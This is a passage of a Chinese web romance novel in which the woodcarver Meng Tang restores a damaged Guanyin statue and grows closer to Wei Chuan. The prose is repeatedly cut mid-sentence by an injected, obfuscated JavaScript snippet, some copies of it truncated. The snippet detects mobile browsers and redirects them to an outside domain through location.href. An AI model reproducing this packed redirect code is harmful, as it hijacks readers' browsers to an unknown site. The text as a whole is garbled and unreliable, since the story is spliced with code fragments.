魏川勾起一抹浅笑,飞快地低头衔走了板栗肉。 “你——”掌心被柔软的唇碰到,孟棠下意识蜷起手掌,眼神惊愕之余带了两分欲言又止的羞赧。 “我怎么了?”魏川眼睛是弯的,“不是你自己要给我吃的?” “我让你用手接。”孟棠红了脸,“没让你用嘴巴接。” 绿灯亮起,魏川哼笑了声:“我开车呢。” “刚才不是红灯嘛。” “红灯也得注意观察。” “……” 孟棠说不过他,干脆转了眼。 魏川得逞一笑,利落地跟着前方的车辆过了马路。 到了康铂,魏川将孟棠的行李箱放到主卧,出来后对孟棠说:“我给你叫餐,待会儿让管家过来,你有什么事都可以跟他说。” 见他频频看时间,孟棠问:“你要走了?” 魏川点了点头:“只有两个小时的时间,还剩半小时。” 孟棠抿了下唇,仰头看着他:“我昨天好像看到你了,在雁清。” 魏川心里倒吸一口凉气,原来接她是假,试探是真。 第89章 行李箱在主卧 人已经在玄关,差两步就出了门。 魏川反应很快,惊讶地看向孟棠:“雁清?你是不是看错了?” 看表情也不像作假,孟棠眉心微蹙,难道真看错了? “你这脑瓜子想什么呢?”魏川对着孟棠乱揉一通,心是虚的,话是实的,“我还能插上翅膀飞去雁清?我昨天除了吃饭,都没出训练馆一步。” “再说了,我去雁清干什么?老贺要是知道我集训期去外地,不得扒了我一层皮?” 也对,孟棠将自己从他掌下解救出来,说:“可能是我看错了。” “什么可能,一定是你看错了。”魏川给她强烈的心理暗示,“我真的要走了,下午队内对抗赛。” 孟棠将人送到门口。 魏川转过身:“有任何问题跟管家说,也可以给我打电话。” “知道了。” 魏川走后没多久,管家敲了门。 孟棠看着冰箱逐渐被填满,问:“这是你们准备的吗?” 管家说:“魏先生吩咐的。” 冰箱里没有蔬菜,只有一应的新鲜水果和乳制品。 “孟小姐,现在给您送餐吗?” 孟棠点了点头:“可以。” 午餐很快送来,份量很合适,也都是她爱吃的。 显然,又是魏川告诉管家的。 她从没有对他说过自己喜欢吃什么,要想了解,只能从日常相处的细枝末节中去发现。 孟棠拿气手机对着桌面拍了张照片给魏川发了过去:【吃饭了,谢谢。】 她没刻意等魏川的回复,一个人安静地吃完了午餐。 收拾好碗筷,她在空荡的客厅转了一圈,总觉得少了什么。 半晌,她才嘀咕了一句:“我行李箱呢?” 她记得魏川拿上来的。 要不给魏川打个电话? 也不行啊,他这会儿肯定没空接。 孟棠努力回忆了一下,记得魏川进屋往里去了,会不会送客房去了? 来过一次,这里的布局她很熟悉。 推开客卧的门,找了一圈,没看到行李箱,就连浴室都找了。 路过主卧时,孟棠忽然一顿,随后推开门,在角落里看到了自己的行李箱。 “怎么放这儿了?” 她一个借住的哪好意思占人家的主卧?孟棠推着行李箱去了客卧。 衣柜她也没用,只将简单的护肤品拿出来搁在了床头。 李寒津下午打来电话,问她住哪儿。 孟棠也没瞒着:“康铂,魏川的公寓。” 手机那头沉默了一瞬,李寒津压着嗓子问:“你俩住一起?” 孟棠说:“他在学校训练,不回来,你找我什么事?” 李寒津说明天上午接她一起去博物馆,孟棠说公寓有车送。 可第二天上午看到送她的是宾利,孟棠对管家笑了笑:“我搭地铁很方便。” 没有几个去博物馆修复文物的木雕师是坐这样的车去的。 不太方便,也不太合适。 管家当即跟魏川汇报了这个情况,魏川说随她就行。 抵达博物馆已经九点,在门口看到李寒津,孟棠微微颔首。 李寒津带着自己的修复团队,他们一个个看着孟棠,眼神满是打量。 孟棠跟随他们进了修复区。 旬礼安今天也在,寒暄之后,孟棠见到了那尊受损的观音像。 颈部横向断裂,缝隙宽度约在3.5毫米左右;左臂关节榫卯脱开,基底莲花座花瓣缺失了三分之一。 除此之外,观音面部的金漆全都脱落,她围着观音像绕了一圈,发现背面形成了菌丝网络,是霉变斑。 这些都是肉眼可见的损伤。 至于隐性病害,还要检测的。 孟棠直起身,说:“表面看起来是中度损伤,修复时间最起码要半年以上。” 旬礼安看向李寒津:“那咱们先开个会,定个修复方案出来?” 李寒津说:“行。” 会议一开就是半天,孟棠并没有在修复名单内,不过她和旬礼安有点交情,又是李寒津曾经的小师妹,插得上话。 如果谁说的不投她心意,她就静静盯着那人看,把人看发毛后,再轻飘飘说了自己的想法。 关键的是,孟棠关于木雕方面的知识渊博庞大,你根本找不到一个点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15892643|176522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去反驳她。 这就让李寒津的团队有些挫败,因为他们和孟棠在修复方法上有歧义。 科技检测中心的主任说:“X射线、红外光谱这些仪器可以快速检测和分析木材的老化状态,木雕内部的情况肉眼也看不见,借助工具可以看到虫蛀和腐朽程度,这也是为修复方案提供一个数据支撑,前期检测,我觉得完全没有问题。” 话落,其他人纷纷插嘴—— “像真空干燥箱和电动夹具,效率远高于传统自然晾干和手工矫正,我也觉得没问题。” “3D打印技术复制的部件也很精准,只不过适用范围有限。” “我个人也建议结合修复。” “可这是清代的文物。”孟棠冷淡地打断他们,“你们说的这些,传统手工艺都可以做到,可一旦因为机器略有偏差,文物就毁了。” “既然是文物,就适合修旧如旧的传统手法,也更具有永久性。” “而且老木料因为年代久远韧性降低,手工修复可以避免机器震动导致的二次断裂。” 孟棠根本不给他们说话的机会,随即送上自己的u盘,说: “我做了一份传统工艺修复的方案,从前期准备到本体修复,再到后期的养护和验收归档,我都做了时间预算。” “具体的修复方法也有注明,如果不嫌弃,我可以从旁协助,如果不行,我也希望你们可以参考一下。” “这份方案我做了许久,但没什么功劳,都是我爷爷积攒下来的一些经验。” 旬礼安起身,激动道:“孟老?” 孟棠点了点头。 她要不把老爷子搬出来,这帮人不定怎么折腾观音像。 “那……”旬礼安看向李寒津,“你觉得怎么样?” 李寒津说:“已经过了饭点了,要不大家先吃饭?吃完饭再继续,今天就把修复方案给定下来。” 旬礼安:“行。” 话音刚落,孟棠的手机响了。 大家已经收拾东西往外走,她也站起来,到门口时接了魏川的电话。 李寒津跟过去,仗着身高从侧边拿走了孟棠的手机。 第90章 你喝的是我的 “李寒津,把手机还给我。” 魏川吃饭的动作一顿,坐他对面的田聿问:“川哥,你怎么了?” 魏川抬手示意他别讲话,餐桌上一群人面面相觑,吃饭都放轻了动作。 孟棠踮脚去够自己的手机,奈何李寒津抬手躲避,她根本摸不着。 “你到底要干什么?” “你早就找过旬礼安了吧?”李寒津质问孟棠。 “我是找过。”孟棠直接承认,“你有话直接说,把手机还给我,我还打着电话呢。” 李寒津充耳不闻,气笑了:“我说了一起商量,你却瞒着我擅作主张?” 孟棠仰面对上他的视线,不慌不忙道:“我一切的出发点只是为了那尊观音像。” 李寒津说:“你别忘了,这件文物是异地修复,旬礼安一个人说了不算。” “但如果存在技术风险,他有权拒绝你们的修复方案,他也有权利组织修复团队。” 李寒津的团队是原属地推荐的第三方机构,虽然资质够了,但这些年他们合作紧密,本就存在利益结盟的嫌疑。 旬礼安之所以接受他异地修复,为的不过是李寒津曾经是孟遇春徒弟的名声。 孟棠事先将利弊摊开来和他聊过,旬礼安自然对李寒津没了好感。 修复方案的会议上看似处处问李寒津的意见,实则是想让他知难而退。 李寒津聪明,自然也听出来旬礼安的意思。 一尊观音像的修复,会给他的海棠工坊带来极大的名声。 这个项目夭折,于他在z市的立足不利,所以李寒津裹挟着三分愤怒追了过来。 “……” 手机里你一句我一句还在吵。 魏川听了个全,他指了指餐盘,示意田聿给他收拾,随后出了食堂的门。 他挂断电话,又重新打过去。 孟棠和李寒津无声对峙,半分钟后,李寒津落败,将手机给了她。 孟棠拿到手机,接了电话:“喂。” 魏川上来就问:“李寒津离开没有?” 孟棠抬了抬眼:“没有。” 魏川说:“你把手机开免提。” 孟棠一愣:“你要干什么?” “我跟他说句话。”魏川说,“又打不着他。” 孟棠开了免提。 “李寒津,以后离我女朋友远一点。” 孟棠石化了,他就要说这个? 李寒津轻嗤了声:“有本事你把人一直看着。” “我看不看着跟你没关系,孟棠,记得把手机消个毒。” 孟棠赶紧关了扬声器,将手机移至耳际:“你跟他说这些有的没的干什么?” “单纯不爽他。”魏川说,“他有没有为难你?” 孟棠:“……是我为难了他。” 魏川“扑哧”一声乐了:“你还能为难人?” “你瞧不起人啊?” “那倒没有,就是想看看你为难人的样子,应该也挺漂亮。” 孟棠耳尖一麻,握着手机不吭声。 魏川对着空无一人的大道挠了挠头。 不是网上说的吗?要多夸对方好话,孟棠怎么不吱声呢? 孟棠缓缓呼出一口气:“你给我打电话干什么?” “看看你吃饭没有。”魏川说,“我刚才在吃饭。” 孟棠说:“我还没吃,上午吵了半天,头都疼了。” 说到一半,她恍然觉得自己好似想撒娇,最后四个字淹没在唇边。 “那你赶紧去吃饭。”魏川永远记得她那次的低血糖,“都几点了。” 孟棠应了声,挂了电话。 下午忙到天黑,最终定下她和李寒津一起对观音像进行传统工业修复。 接下来要做本体检测,时间不够,只能明天再做。 按照孟棠的估计,过年之前可以忙完第一阶段的工作,有博物馆的帮助,第二阶段的材料也可以一同准备起来。 本体检测,工序繁多,从净目叩诊,再到取影验材花费了半个月的时间。 这天下午两点,孟棠托着疲累的身体坐上地铁。 要不是有人提醒,她怕是要坐过站。 回到康铂还不到三点,孟棠中午没吃饭,有点饿。 刚想问管家这个点能不能送点吃的,被玄关出现的球鞋搞得一愣。 “你回来了?” 魏川从客厅走过来,歪着头看向她。 孟棠一愣,他们这段时间各自都比较忙,魏川和隔壁学校有模拟赛。 两人差不多十来天没联系了。 “你怎么回来了?” 想起21号去雁清的事,魏川清了清嗓子:“每半个月放半天假,回来看看你。” 孟棠边换鞋边道:“也就是说,你今晚还得回学校?” 魏川上前,站她旁边靠着墙,抱起胸, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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魏川反应过来,下意识将柠檬水堵到她唇边:“快喝一口顺一顺。” 吸管还沾着暧昧的水光,孟棠想也没想张开了嘴巴。 第91章 不嫌我 两口柠檬水下肚,孟棠顺畅地呼吸到新鲜空气。 她也不算是噎着,只是吃得急,炒饭压得紧实,卡在了靠近咽喉的位置。 若真是气道阻塞,喝水是没用的。 魏川顺着她的背,低声询问:“怎么样?还难受吗?” 孟棠拍了拍心口,终于缓了过来。 她朝魏川摇摇头:“没事。” “吓死个人。”魏川松了口气,抬手抹去了沾在她唇边的水渍。 孟棠一怔。 意识到自己的冒犯,魏川搓了下手指,找补一般举起柠檬水轻轻晃了下: “这个……你还要吗?” 孟棠伸手接过。 魏川轻挑了下眉:“不嫌我?” “我已经喝过了。”孟棠小声应道。 再给他塞回去也不太合适。 孟棠瞥了他一眼,欲言又止,魏川轻笑:“想说什么?” 孟棠嘀咕道:“长这么大眼睛,不知道干什么用的。” 魏川倾身过去,手肘搭在沙发上,直视孟棠的眼睛,说:“我家里就我眼睛最小。” 忽然靠得很近,孟棠下意识抬手挡了下,魏川低头笑笑,稍稍往后拉开了点距离。 孟棠掀眸瞥了魏川一眼,他这双眼睛其实一点不小。 眼皮很薄,看着人时,因为身高,总给人一种居高临下的错觉。 睫毛不像女生那样卷翘,略微平直,像炭笔的浓,透着深邃的黑。 瞳仁黑亮,可越靠近,越看不清。 直至鼻息交缠,孟棠猛地回神,擦着温热的呼吸扭过了脸。 他要干什么?若是自己没躲,差一点就要碰上了。 魏川抿了抿唇,拿过柠檬水,狠狠啜吸了一口。 **,刚才差一点亲上去! 柠檬水见底,发出滋滋声响,掩盖了魏川毫无规律的心跳。 他真是……被迷得不轻。 要是亲上去,孟棠不得拿刻刀给他来个血色十字架。 放下空杯,魏川起身说:“我去个卫生间。” 手机震了声,孟棠朝着他背影说:“有人给你发信息,好像是贺教练。” “你帮我回一下,他应该是要体能测试的数据表格,在我相册里,密码是我生日。” 孟棠放下柠檬水,将他的手机解码打开,进了相册。 图库里上千张照片缩略图排列,孟棠一眼望去大概只能看到十五张。 忽然,她眸光一顿。 最上面的三张照片背景相似,孟棠一眼认出是魏川生日那晚拍的。 可第三张…… 孟棠点开照片。 黑夜白雪,灯光相融。 女孩仰头站在雪中,飞舞的发丝沾上她红透的鼻尖。 这是她! 孟棠心脏剧烈一跳,回到主页面,关掉手机,将它放到原来的位置上。 魏川从洗手间出来,在她身边坐下,问:“你发了?” 孟棠摇了摇头,语气发紧:“你自己发吧。” 她捧过柠檬水,一口一口喝完了。 魏川为什么拍她? 她记得那天他过生日,也发了朋友圈的,是他们雪中夜行的背影。 前两张就是,她的独照在最上面第三张,按照相册排列,魏川是先拍了她的照片的。 应该是拍错了吧? 她扭过脸,见他专心致志吃着披萨,偷偷拿出手机进了他的朋友圈。 一看又愣了神,他换头像了。 是一盏路灯映照着夜空,跟她照片的左上角图案如出一辙。 孟棠低头吃了一个冷掉的虾仁,状似不经意地问:“你换头像了?” “你发现了?”魏川扭头,“我刚才给老贺发图片,看见照片顺手换的。” 孟棠点了点头:“好像是晚上的路灯。” “我生日那天,一起回学校的时候拍的,我觉得挺有意境的。” “我也看到了你那天发的朋友圈。”孟棠继续试探,“你是为了泠音,才拍了我们所有人的吧?” 当时他们还不知道谢泠音和许鹤清在一起了,所以魏川要拍的肯定是谢泠音。 孟棠这么告诉自己。 魏川:“……你一直都这么认为的?” 孟棠点了点头,手指藏在袖中绞在了一起。 魏川慢条斯理用湿纸巾擦了手,随后整个人转了过来,看着孟棠的眼神异常认真: “如果我说我没有呢?” 沉默几秒,孟棠撇开了视线,笑道:“没有就没有呗。” “我当时——” “你几点走啊?”孟棠突然打断他。 “晚上七点集合,六点半就得走。” 孟棠看了眼手机:“还有十分钟。” 魏川指了指茶几:“这些没吃完的我带学校去,有的是人吃。” “那我跟你一起下去吧。”孟棠起身,“这点也不够他们吃的,你不是说还有女队员嘛,我再给她们也买一点。” “你买?”魏川挑眉。 孟棠点了点头:“一点吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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他心里还抱有希冀,轻轻敲了门。 没人应答,看来她确实睡了。 魏川有点失落,打算躺沙发上歇歇,没几分钟就打起了鼾。 夜里翻身掉到地上,手机还搁手里攥着。 他眯着眼睛,摸黑回了房间。 第92章 别讨厌我 胸口横来一道沉重的力量,孟棠蹙着眉翻了个身。 没睡两秒,心口又堵又慌。 她闷哼了声,抬手去推凝在身上的重量。 摸到后,她用指腹描绘出一节手掌。 孟棠一顿,整个人坐了起来。 “啊……” 她短促地尖叫一声,一脚踹在对方的肩膀上。 魏川懵逼地睁开眼,还没反应过来,胸膛又挨了好几脚。 困意正浓的时候忽然被吵醒,魏川下意识去抓攻击他的人。 孟棠一边拒绝一边躲,一会儿的工夫,几个巴掌劈头盖脸朝着魏川飞了过去。 “你到底是谁?怎么进来的?” “滚开,我要报警了。” 她手劲是真大,魏川觉得自己鼻子都歪了,他捂着说了声:“是我。” 孟棠正处于惊惧之中,没有分辨出他的声音。 她再次抬脚,魏川一把抓住她的脚腕,用力一扯,整个人跨坐在她身上。 “救——” 魏川倾身,一把捂住孟棠的嘴。 孟棠蓦地睁大眼睛:“唔唔……救……命唔唔……” “我是魏川。”魏川忍着身上的疼证明自身,“别动了,起反应了。” 房间霎时安静下来。 魏川狠狠吐出一口气,随后说:“嘿Siri,开灯。” 房间大亮,孟棠一时适应不了,偏过头闭上了眼。 惊魂未定的红潮还未下去,魏川一时看愣了,盯着她滚了滚喉结。 孟棠适应了下光线,转头和魏川四目相对。 “你……你你下去。”孟棠整个人都在发抖。 现在下去丑态毕露,魏川稍稍起身,跟她打商量:“等一会儿行不行?” 孟棠咬唇摇了摇头。 魏川抓过枕头,往下身一盖,盘腿坐在床上。 孟棠扯过被子,缓缓将自己盖了起来,顾头不顾尾。 一副羞愤欲死的模样。 魏川抬手拍了拍被子:“我不是故意的。” 孟棠躲在被子里挣了下,从魏川的角度看,像是在发小脾气。 他笑了声,又拍了下:“你怎么睡在这里?” 孟棠快要尴尬**,她裹紧被子,身体缓缓转了个方向。 双脚够到床边,整个人往下移去。 魏川见她要走,扔掉枕头起身追下去。 孟棠连人带被被他堵在墙角。 “你干嘛?”孟棠满脸防备。 魏川举起手,稍稍后退,说:“不拦着你不听我解释,我真不是故意的,我、我……” 操,魏川恨不得给自己一拳。 一天训练下来,精力散去大半,竟然还能起反应? 真是绝了! 这种尴尬的破事怎么尽让他遇上? 孟棠在心里会怎么想他? 魏川烦躁地抓了把头发,整个人退到床尾。 “别说了。”孟棠咬着下唇。 “我十点半回来的,在沙发上睡着了,半夜醒来迷迷糊糊进了客卧。” “我以为你睡在主卧,我不是故意的。” 见孟棠低着头,他又道:“我把你箱子放进主卧,你怎么没睡那边?” 孟棠说:“我是借住,不能占据主人的卧房。” “怪我,没跟你说清楚。”魏川盯着她,半晌又小声补充了一句,“别讨厌我。” 孟棠摇了摇头。 魏川缓缓后退,绕到另一边拿了手机,出了客卧的门。 孟棠的腿一下软了,带着被子蹲坐在地。 睡意全无,和魏川的种种不断在脑海里浮现,随后又陷入莫名的纠结里。 如果说是她乱动引起了他的反应,那换了别人,他会这样吗? 没救了! 孟棠仰面抵上墙壁,她为什么要纠结这个问题? 她突然想起魏川手机里保留的照片,魏川说不是为了拍谢泠音。 而在谢泠音和许鹤清他们的眼中,魏川喜欢的一直都是她。 一个荒谬的答案涌上心头,孟棠默默攥紧了被角。 如果……如果魏川喜欢的人是她,那……是从什么时候开始的呢? 他那些莽撞的行为好似也有了合理的解释。 起初她不理解他为什么一定要拽着自己去告白,还前言不搭后语。 如果答案是魏川喜欢她,就很好理解了。 他迫切地用尽手段,用最能让她妥协的方式远离李寒津。 她当时“喜欢”许鹤清,许鹤清就是他认为可以对付她的利器。 可她答应告白,不过是敷衍他,她根本就没打算给许鹤清告白。 孟棠抱着被子起身,缓缓躺上了床。 她给他雕刻的告白礼物他好端端收在家里,书签断裂一条缝,脸色沉得吓**,告白的花束都能搞错…… 孟棠呵笑一声。 魏川,你不会真的喜欢我吧? 翌日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15892646|176522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 早上,孟棠比闹钟先醒。 她轻手轻脚起了床,洗漱的声音也尽量收着,生怕吵醒魏川。 今天只能去外面对付一口早饭,孟棠回房间拿了外套。 出了客卧的门,魏川正站军姿似的杵在跟前,吓了孟棠一跳。 “你一大早的……” 魏川说:“我叫了早餐,吃完再走吧。” 孟棠点了点头。 吃饭的时候,两人没有一句交谈。 吃完饭,魏川跟保镖似的跟着:“我送你去吧。” “不用。”孟棠抬眼,“我自己坐地铁就行。” 魏川问:“你还在生我气?” 那不过是意外,孟棠摇了摇头。 魏川沉默片刻,又坚持了一会儿:“我送你行吗?” 孟棠进了电梯,两人四目相对,千言万语即将要被电梯门隔断。 魏川挫败地垂下头,招人厌了呀! “叮”,电梯又开了。 “不是要送我,愣着干什么?” 魏川猛地抬头,同手同脚进了电梯。 孟棠偏过头,咬住了唇,生怕自己笑出声。 这么大个儿同手同脚地进来,像傻子。 到了博物馆,孟棠片刻不耽搁地下了车。 魏川跟着下车,问她:“几点出来?” 孟棠看着他:“不知道。” 魏川没有追问,将车停稳当后,将座椅放了下来,吊儿郎当躺了半天。 中午没看到孟棠出来,他叫了外卖,随便对付了一口。 孟棠明天要回去,今天应该会早出来。 魏川手机也没敢玩,等到三点,才终于盼到那抹身影。 他跑过去,见孟棠捂着一只眼睛,忙问:“眼睛怎么了?” “你怎么在这儿?”孟棠仰起脸。 魏川说:“我就没走,等了你一天。” 孟棠怔住,竟然等了她一天? 她基本确定了昨晚的猜想。 只是全然不知魏川的感情线头从哪儿开始的,或许,连他自己都找不到。 “你放假了?” “别管这些了。”魏川拿开她的手,托起她的下巴,“告诉我,眼睛怎么了?看着好红。” “进了木屑。”孟棠还想去揉,被魏川一把拦住。 “车上有棉签和纯净水,我给你处理一下。” 孟棠眼睛都不太睁得开,闻言点了点头。 魏川说:“去后面,躺我腿上。 第93章 你还喜欢谢泠音吗 魏川找到了棉签和纯净水,转头瞧见孟棠还站在车边,解释道: “外面太冷了,不管是站着还是坐着,我怕水弄进你脖子里,还是躺着最方便,上车吧。” 两人一左一右上了车。 魏川将东西放到中控台上,随后拍了拍自己的大腿:“躺下来啊。” 孟棠睁一只眼闭一只眼躺了过去。 魏川将纯净水倒进瓶盖中,拿着棉签沾湿,随后倾身扶住孟棠的侧脸。 “别动啊,我看看在哪儿?” 孟棠说:“应该没有附着在眼球上。” 她是出了博物馆,觉得眼睛干涩,抬手揉了下,指腹的木屑不小心沾了进去。 “别动啊,我看见了。”魏川的手很大,手指也很长,托着她的同时,指腹撑开了她的眼皮。 棉签湿水的微凉在眼角碾过,孟棠的眼角睁得酸了,水汪汪带出了木屑。 魏川用大拇指揩去她的生理泪水,低头呼了呼。 眼角的余温即刻散去,孟棠紧紧攥起了手。 随后轻柔的哄声响起:“好了,看能不能睁开?” 孟棠眼皮颤动几下,缓缓睁开了眼睛。 右边那只眼绯红一片,魏川蹙了蹙眉,揉了揉她的眼角,说: “没肿,但很红,疼不疼?要不要去医院?” 孟棠摇了摇头,脸颊发烫,她扒着前排的座椅,起身坐到车位上一言不发。 魏川拧上瓶盖,转头盯着孟棠。 孟棠缓缓呼出一口气,给自己打气似的转过了头:“你看**什么?” “好看。”魏川脱口而出。 突来的直球让人心绪波动。 生怕他再说些摇曳心旌的话,孟棠赶紧道:“去开车吧,我还要回去收拾行李。” 魏川“哦”了声。 回到康铂,不到十五分钟,孟棠就收拾好了行李。 出来的时候,魏川对着客厅的大屏幕打游戏。 她好奇地凑了过去。 屏幕上,景色辽阔,魏川操纵着游戏人物奔跑跳跃。 忽然,他转过头,将Switch手柄递给她:“玩一下?” 孟棠下意识握住,抬眼说:“我不会。” “没什么难的。”魏川伸手拉了她一把。 从早上起来,孟棠跟他说的话不超过十句。 明明跟他说话,但总有一种抓不着摸不透的疏离。 这种感觉是突然涌上来的,魏川有些无措。 他生怕因为昨晚的事情被孟棠判了**,绞尽脑汁想要和她聊一聊。 最后打开了很久没玩的游戏。 俗话说得好,没有话题就制造话题,先从一个对方并不防备,也不敏感的话题开头,就成功了一半。 猝不及防,孟棠滑坐到地毯上,下巴和他肩线齐平。 “怎么打啊?”她看着魏川,“小人不动了。” 模样实在可爱,魏川压不住嘴角,指了指手柄: “左手的摇杆可以移动,右手边是调整视角用的,像这样。” 魏川给她示范了一遍。 孟棠试了试,很灵活。 “这个X是跳跃,Y是攻击……” 魏川耐心地给她讲解按键的作用,孟棠记忆力还是不错的,实践了几次后,已经能自如地让游戏人物行动了。 只不过反应还有点跟不上,总被地图上突然冒出来的攻击弄得血条直掉。 即便这样,她也很稳定,极力让人物闯过一层又一层的难关。 不知道是上瘾还是不服输,她一个新手菜鸟,玩了五六遍,终于通了关。 她拿着手柄晃了晃,眼波晃着兴奋的劲儿,拉住魏川的胳膊:“我赢了,你看见没有?” 魏川点了点头:“看见了。” 孟棠的表情有些小傲娇,她将手柄还给魏川:“也没什么难的。” 魏川接过手柄。 孟棠起身来到落地窗前,天色渐渐转黑,天边飘着几片粉紫色的云。 她拿出手机,对着落地窗外的景色拍了几张。 魏川将手柄扔到茶几上,起身走了过去,问孟棠: “你明天几点的车?” 孟棠垂头看了眼自己拍的照片,回:“十点。” 魏川失笑:“正好赶上家里的午饭。” 孟棠说:“主要是想睡个懒觉。” “我明天送你去高铁站?”魏川没敢直接做决定,“正好送完你,我也回家。” “好。”孟棠点了点头,“这段时间麻烦你了,要不今晚我请你吃个大餐?” “没事,不过就是借你一个睡觉的地方,我整天在学校忙,也没回来照顾你,你别怪我招待不周就行。”魏川不太想出去。 莫名其妙的客气让空气开始凝滞,突然没有话题的尴尬感冒了出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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孟棠抿了下唇,顿了顿,问:“你还喜欢谢泠音吗?” 第94章 咱俩一直都是假的,不是吗 怎么突然问这个? 魏川心里怎么想的,嘴上也就问了出来。 孟棠眼神半点没有躲避,说:“只是想知道而已,你如果不想回答,我就当没问过。” “没有不想回答。”魏川急忙说,“我对谢泠音是一时看脸,我自以为喜欢她那种长相的女生,其实跟她没接触过。” “你问我的这个问题,我其实有考虑过,并且很认真地考虑过。” “两个人相处,能不能在一起,还要看性格,我觉得即便没有许鹤清,我跟她也处不来。” “田聿他们一时荒唐的起哄,我才注意到她,当时我比赛取了一个还不错的成绩,有点飘,田聿他们都谈了对象,一块儿挤兑我,我就口嗨说喜欢谢泠音。” “可因为认识你,我跟她打过几次交道,发现我对她并没有心动的感觉。” “我现在——” “好了。”孟棠打断他,“我知道答案了,时间快到了,我必须要走了。” “孟棠。”魏川叫住她,“我现在不喜欢她,真的不喜欢。” 孟棠“嗯”了声,抓着行李快速去了候车厅。 上了车后,心口还砰砰跳个不停。 刚才差点没赶上车,一路跑过来的。 十一点三十五,孟棠下了车。 魏川的信息卡着发了过来,问她到了没有。 孟棠笑了笑,给他回了信息:【到了,去打车了。】 车还没打到,孟怀璋打来了电话,说在出口等她。 孟棠愣了下,往出口去,和孟怀璋一起回了家。 回到家,院中焕然一新,到处都擦洗得一尘不染。 孟棠对方姐说:“怎么也不等我跟你一起收拾?” 方姐笑笑:“你爸收拾的。” 孟棠诧异了一瞬,竟然收拾得这么干净? 孟怀璋笑了笑:“还满意吗?” 孟棠点了点头。 孟怀璋有些激动:“那你吃完饭赶紧回房休息,坐车也累了。” “嗯。” 孟棠回到房间,将手机充上电,没忍住打开了某音软件。 第一个推荐的视频竟然是田聿,可能是她关注魏川的缘故。 她点了赞,刚要划过去,不小心点开了标题,看到了视频拍摄的日期——1月21日。 孟棠一愣,这才终于把内容文案看清楚——川哥不在,我们聚餐。 魏川不在? 他不是说21号一直在学校训练吗? 田聿发视频很频繁,孟棠点进了他的头像,终于发现了一个事实:校队每周日放半天假,而不是魏川所说的半个月放半天假。 手机跌落床头,孟棠连带着表情都石化了。 21号接孟怀璋的那天,她看到的不是幻觉,就是魏川! 孟棠浑身骤冷,魏川一定是知道了,不然他不可能躲着自己,又不承认来过雁清。 她下了床,出了房门,去了北院的工坊。 孟遇春在捏泥塑,余光瞥到她,也没停手。 孟棠在一旁坐下,说:“爷爷,有个男生好像喜欢我。” 孟遇春笑道:“你高二的时候,也跟我说过同样的话。” 半晌,孟棠小声道:“这次不太一样。” “不太一样。”孟遇春停下动作,“怎么个不一样?因为你也喜欢对方?” 孟棠说:“我不确定。” 她从小到大遇到的困惑,给她解答的都是孟遇春。 所以她直接来了北院,就是希望得到一个答案。 孟遇春笑道:“这个世界上,就没有不确定的事。” 孟棠一愣,这是什么意思? “你不确定是因为你还有顾虑,只要把顾虑消除了,一切也就迎刃而解了。” 顾虑? 孟棠眼眸闪过一抹微亮,是的,她有顾虑,很大一个顾虑。 “跟我说说,你的不确定是不是那个叫魏川的?”孟遇春火眼金睛,还戏谑起孙女来了。 既然说了,就没什么不好承认的,孟棠点了点头。 “他第一次上门,我就觉得他对你不一样。” 又是一愣,魏川第一次上门的时候,许鹤清也在。 “爷爷,当时许鹤清也在,您怎么确定魏川对我不一样?” 孟遇春失笑:“傻了吧,那个许同学明显喜欢你带回来的女生嘛。” “谢泠音?”孟棠惊讶地问。 孟遇春:“对喽。” 真是神了! 孟棠瞪眼,她但凡早点跟老爷子聊这件事,也不至于让自己和魏川拐这么大一个弯吧? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 